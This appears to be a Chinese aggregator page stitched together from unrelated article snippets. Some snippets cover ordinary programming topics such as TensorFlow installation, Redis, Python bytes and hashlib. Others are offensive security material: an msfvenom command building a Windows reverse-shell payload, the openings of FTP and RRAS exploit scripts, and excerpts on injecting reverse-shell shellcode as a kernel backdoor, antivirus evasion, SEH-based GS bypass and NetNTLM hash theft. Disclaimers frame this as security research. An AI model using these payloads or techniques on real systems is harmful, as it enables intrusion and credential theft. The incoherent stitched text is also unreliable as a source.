第一种网上通用的用xlsx改zip压缩包，能批量提取出图片。但是无法知道图片在单元格中的顺序信息。
https://www.cnblogs.com/zhuminghui/p/11359858.html
freefloat-ftp-server.php import socket, sys, time, struct if len(sys.argv) < 2: print "[-]Usage:%s <target addr> <command>"% sys.argv[0] + "\r" print "[-]For example [filename.py 192.168.1.10 PWND] would do the trick." print "[-]Other options: AUTH, APPE, ALLO, ACCT" sys.exit(0) target = sys.argv[1] command = sys.argv[2] if len(sys.argv) > 2: platform = sys.argv[2]
不知道大家是否见过这个东西,反正我清楚记得我是见过的,可是为什么会写这个东西?有以下一个场景: 怎样将一个字符串中的中文字符统一转换成英文字符? 不知道大家会怎样去做?先列举一个例子: 'hello
发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/171466.html原文链接：https://javaforall.cn
RSA加密是一种非对称加密算法。被公钥加密的数据只能用私钥解密，被私钥加密的数据只能被公钥解密。公钥和私钥只是对两种密钥的使用场景以及是否对外公开来区分的，本质上区别不大。
波士顿住房数据集 是 20 世纪 70 年代的着名数据集。 它包含506个关于波士顿周边房价的观测。 它通常用于回归示例，包含 15 个特征。
笔者这里使用的是QTCreator和Python来实现一个简单的串口上位机的开发的简单过程，使用到Python，之前记录的Qt 使用C++ 写上位机也记录一篇文章，大家感兴趣的话可以看看。从零开始编写一个上位机（串口助手）QT Creator + C++
还记得《驱动开发：内核LoadLibrary实现DLL注入》中所使用的注入技术吗，我们通过RtlCreateUserThread函数调用实现了注入DLL到应用层并执行，本章将继续探索一个简单的问题，如何注入ShellCode代码实现反弹Shell，这里需要注意一般情况下RtlCreateUserThread需要传入两个最重要的参数，一个是StartAddress开始执行的内存块，另一个是StartParameter传入内存块的变量列表，而如果将StartParameter地址填充为NULL则表明不传递任何参数，也就是只在线程中执行ShellCode代码，利用这个特点我们就可以在上一篇文章的基础之上简单改进代码即可实现驱动级后门注入的功能。
拆分这两个字也很好理解，字面的意思上和各位php一句话木马免杀中大体一样，shellcode也好比我们php木马中需要拆分的危险函数名。
重制版，新版教程，包含ROP反导绕过DEP技术： https://www.cnblogs.com/LyShark/p/12340479.html
如果针对某一程序或软件已经有了相应的渗透模块，此时再去写一个实现类似功能的模块就显得多此一举。然而，并非所有的渗透模块都是基于Metasploit框架开发的，其中有很多是用Perl、Python或者C/C++语言编写的，所以导致了这些模块不能直接在Metasploit中使用。此时需要将现有的渗透模块移植成为与Metasploit框架相兼容的模块，移植成功之后，不仅能够实现原有模块的功能，还可以利用Metasploit框架提供的各种丰富而又强大的工具来处理例行任务，同时可以动态切换攻击载荷，使渗透模块适用于更多的场景。
文本不会讲具体某个网站的弹幕抓取方法。而是描述抓取到二进制的弹幕信息以后，如何进行处理。
图像数据解析 图像编码 import tensorflow as tf import base64 if __name__ == "__main__": path = "/Users/admin/Documents/111.jpeg" img = tf.io.read_file(path) print("图像字节编码:{}".format(img)) img1 = tf.io.gfile.GFile(path, 'rb') print("图像字节编码:{}".f
乌鸦安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。
程序员大多都碰到过栈上内存溢出，最常见的结果是导致程序Crash，有时候也有可能因为覆盖栈上的信息导致程序执行一些意想不到的逻辑，这种情况往往比起Crash更加糟糕。
msfvenom -p windows/x64/shell_reverse_tcpLHOST=10.0.0.5LPORT=443-f c -b \x00\x0a\x0d
前言：shellcode是一段用于利用软件漏洞而执行的代码，shellcode为16进制的机器码，因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。可在暂存器eip溢出后，塞入一段可让CPU执行的shellcode机器码，让电脑可以执行攻击者的任意指令。
在日常红队行动中，为了利用目前现有的资源尝试获取更多的凭据以及更高的权限，我们通常需要先获得一台主机作为突破口，并将其作为跳板进行横向渗透。但是内网中一般部署有防火墙、流量监控等设备，杀软更是成为了服务器的标配，所以如何进行免杀绕过杀软的限制让主机上线成了我们首要解决的问题之一。目前免杀技术大致分为以下几类:
在Windows操作系统中，动态链接库DLL是一种可重用的代码库，它允许多个程序共享同一份代码，从而节省系统资源。在程序运行时，如果需要使用某个库中的函数或变量，就会通过链接库来实现。而在Windows系统中，两个最基础的链接库就是Ntdll.dll和Kernel32.dll。
返回一个像素访问对象。像素访问对象的行为很像一个二维数组，可以通过下标 [x, y] 的方法，访问和修改像素值。通常情况下，我们不需要调用此方法，Image 类会在第一次访问图片数据时，自动调用此方法。
在 《Redis 概述》 中我们已经介绍过 DEL 、 EXISTS 、 EXPIRE 、SCAN 的用法了，下面我们介绍其他比较重要的命令。
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，雷神众测以及文章作者不为此承担任何责任。 雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经雷神众测允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。
任何时候，当你通过互联网访问公开资源，甚至通过内部网络访问小型社区时，重要的是要考虑拒绝服务（DoS）攻击的风险。 DoS 攻击可能令人沮丧，并且可能非常昂贵。 最糟糕的是，这些威胁往往是一些最难以缓解的威胁。 为了能够正确评估对网络和信息资源的威胁，必须了解现有的 DoS 威胁的类型以及与之相关的趋势。
hashlib模块实现了多种安全哈希和信息摘要算法的通用接口，包括FIPS中定义的SHA1, SHA224, SHA256, SHA384, SHA512以及RFC 1321中定义的MD5
这四个目录下有图片，下载下来，发现 dont_bother 跟其他图片的 md5 不一样
由于 GitLab 某些端点路径无需授权，攻击者可在无需认证的情况下完成图片上传，从而执行任意命令。
C 语言的奇技淫巧 https://jin-yang.github.io/post/program-c-tips.html
1.项目git地址 https://github.com/kerlomz/captcha_trainer 2.安装模块 pip install -r requirements.txt 3.创建项目 python make_dataset.py img_test #这时候会报错 4.添加配置文件 cd projects/img_test/ 上传下面的配置文件 # - requirement.txt - GPU: tensorflow-gpu, CPU: tensorflow # - If you use
原文：https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/ 译者：Serene 一次我和@m3g9tr0n 在讨论使用responder来窃取NetNTLM哈希的多种方法，经过试验后，我决定写下这篇文章，记录在Windows系统中的一些很酷的发现，在这些情况下SMBRelay攻击也是有可能发生的。 LFI PHP中的include()函数将会解析网络路径 http://host.tld
BST是一款功能强大的二进制字符串代码格式转换工具，该工具可以将二进制字符串转换为能够兼容不同语言源代码的各种格式，以满足各种安全开发领域中的渗透测试或漏洞利用开发场景。
在 Python 中， IO 模块提供了三种 IO 操作的方法；原始二进制文件、缓冲二进制文件和文本文件。创建文件对象的规范方法是使用open()函数。
python中的struct主要是用来处理C结构数据的，读入时先转换为Python的字符串类型，然后再转换为Python的结构化类型，比如元组(tuple)啥的~。一般输入的渠道来源于文件或者网络的二进制流。
针对缓冲区溢出覆盖函数返回地址这一特征，微软在编译程序时使用了一个安全编译选项--GS， Visual Studio 2003 (VS 7.0)及以后版本的 Visual Studio 中默认启用了这个编译选项。在所有函数调用时，会向栈中压入一个DWORD，他是data段第一个DWORD与EBP亦或之后形成的值，处于EBP+4的位置，在所有函数执行完返回时，会有一个检查函数，检测EBP+4的值是否正确，正确则正常返回，反之进入异常处理流程，函数不会正常返回，这个操作叫 Security check，如果有缓冲区溢出函数返回值，势必会淹没Security Cookie，在函数返回之前由Security check检查，发现EBP+4的值与原来的不一样，进入异常处理流程，也会导致我们利用栈溢出失败。本篇通过SEH处理函数在GS检查函数之前的特征，通过制造异常，然后淹没SEH处理函数，使SEH异常函数指向我们的shellcode。详细了解GS以及此技术可以参考《0day安全》这本书。
https://whereisk0shl.top/post/2016-10-23-1
白给题，触发malloc_consolidate就可以leak+overlapping了
#!/usr/bin/env python # -*- coding: utf-8 -*- #Tested in Windows Server 2003 SP2 (ES) - Only works when RRAS service is enabled. #The exploited vulnerability is an arbitraty pointer deference affecting the dwVarID field of the MIB_OPAQUE_QUERY structure.
原文地址：http://www.mohamed-chamli.me/blog/hackim%202019/Mimecheckr
bytes实例包含的是原始数据，即8位的无符号值（通常按照ASCII编码标准来显示）。
写在前面：我们一般用字符串(str)表示字符序列，但是还有另一种包含原始数据的字符序列，比特序列(bytes)，比特序列可能在网络传输和文件读写时用到。
AI科技评论按：本文原作者Enachan。本文原载于作者的GitHub。译者投稿，雷锋网版权所有。 这个文档说明了如何在 Mac OS X 上安装 TensorFlow。 注意：从 1.2 版本开始，在 Mac OS X 上 TensorFlow 不再支持 GPU。 确定如何安装 TensorFlow 你可以选择一种方式安装 TensorFlow，支持下面的几种选择： virtualenv "本地" pip Docker 从源代码安装，更专业有单独的文档记录 我们建议使用 virtualenv 安装。vi
#!/usr/bin/python import socket import os import sys import struct import time if len(sys.argv) < 2: print 'Usage: python %s <TARGET_HOST> <PORT>' % os.path.basename(sys.argv[0]) sys.exit() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
这个文档说明了如何在 Mac OS X 上安装 TensorFlow。（从 1.2 版本开始，在 Mac OS X 上 TensorFlow 不再支持 GPU。） 确定如何安装 TensorFlow 你可以选择一种方式安装 TensorFlow，支持下面的几种选择： virtualenv "本地" pip Docker 从源代码安装，更专业有单独的文档记录 我们建议使用 virtualenv 安装。virtualenv 是一个和其它 Python 项目开发隔离的虚拟 Python 环境，在同一台机器上不
通常情况下栈溢出可能造成的后果有两种，一类是本地提权另一类则是远程执行任意命令，通常C/C++并没有提供智能化检查用户输入是否合法的功能，同时程序编写人员在编写代码时也很难始终检查栈是否会发生溢出，这就给恶意代码的溢出提供了的条件，利用溢出攻击者可以控制程序的执行流，从而控制程序的执行过程并实施恶意行为，本章内容笔者通过自行编写了一个基于网络的FTP服务器，并特意布置了特定的漏洞，通过本章的学习，读者能够掌握漏洞挖掘的具体流程，及利用方式，让读者能够亲自体会漏洞挖掘与利用的神奇魔法。
喜迎X大(涉及到这个数字后台就一直提醒可能违规，干脆)。然后，就是，我胡汉三又回来啦啦啦啦啦！！！身体养得差不多了，其实也没有什么大问题，谢谢大家关心~兄弟姐妹们，造起来啊~high起来啊~反正有大把时光~ 谁再熬夜谁傻逼，以此为誓，违誓者发红包。 阅读此文大概需要8分钟，也可能80分钟 最近在公司和我们后端的兄弟聊了聊，他是FOFA 3.0的后端主要开发人员之一。把FOFA的协议识别与提取用Golang实现。 虽然没有他那么牛逼的编码技术，不过也对其架构稍稍了解。小小的学习了协议提取的知识。 下面介绍
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
实时音视频
对象存储
云直播
